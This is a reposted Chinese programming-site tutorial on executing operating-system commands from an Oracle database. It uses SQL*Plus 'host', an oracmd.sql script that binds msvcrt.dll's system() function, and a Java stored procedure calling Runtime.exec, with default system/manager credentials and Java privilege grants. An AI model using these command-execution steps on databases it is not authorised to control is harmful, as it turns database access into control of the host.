程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> Oracle數據庫 >> 關於Oracle數據庫 >> oracle執行cmd的實現方法

oracle執行cmd的實現方法

編輯:關於Oracle數據庫
不過有一個簡單的執行cmd命令方法:
SQL> host net user
User accounts for \\PC-ATQHJ4UG1SDA
----------------------------------------------------------------------------
__vmware_user__ admin Administrator
ASPNET Guest IUSR_PC-ATQHJ4UG1SDA
IWAM_PC-ATQHJ4UG1SDA SUPPORT_388945a0
The command completed successfully.
unix或linux下用
! command
======================補充======================
網上的另兩種方法:
1是利用msvcrt.dll
寫一個c:\orac.sql
內容:
Rem
Rem oracmd.sql
Rem
Rem Run system commands via Oracle database servers
Rem
Rem Bugs to [email protected]
Rem
CREATE OR REPLACE LIBRARY exec_shell AS
'C:\windows\system32\msvcrt.dll';
/
show errors
CREATE OR REPLACE PACKAGE oracmd IS
PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
CREATE OR REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system" LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors
然後C:\>sqlplus /nolog
SQL*Plus: Release 8.1.7.0.0 - Production on Thu Jun 7 14:25:38 2001
(c) Copyright 2000 Oracle Corporation. All rights reserved.
SQL> connect system/manager@orcl (分別是用戶名密碼和sid)
Connected.
SQL> @c:\orac.sql
Library created.
No errors.
Package created.
No errors.
Package body created.
No errors.
SQL>
SQL> exec oracmd.exec ('dir > c:\oracle.txt');
結果在我本機出現
第 1 行出現錯誤:
ORA-28595: Extproc 代理: DLL 路徑無效
ORA-06512: 在 "SYSTEM.ORACMD", line 2
ORA-06512: 在 line 1
沒有成功。
第二種方法
c:\1.sql
create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
c:\2.sql
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';
c:\3.sql
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;
登陸上去後依舊是依次執行
SQL> @c:\1.sql
/
@c:\2.sql
/
@c:\3.sql
/
variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;
grant javauserpriv to system;(網上的方法沒有這一行,我無法成功,加上去可以)
exec :x:=run_cmz('ipconfig'); 成功運行了命令
測試環境win2003+oracle11g
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved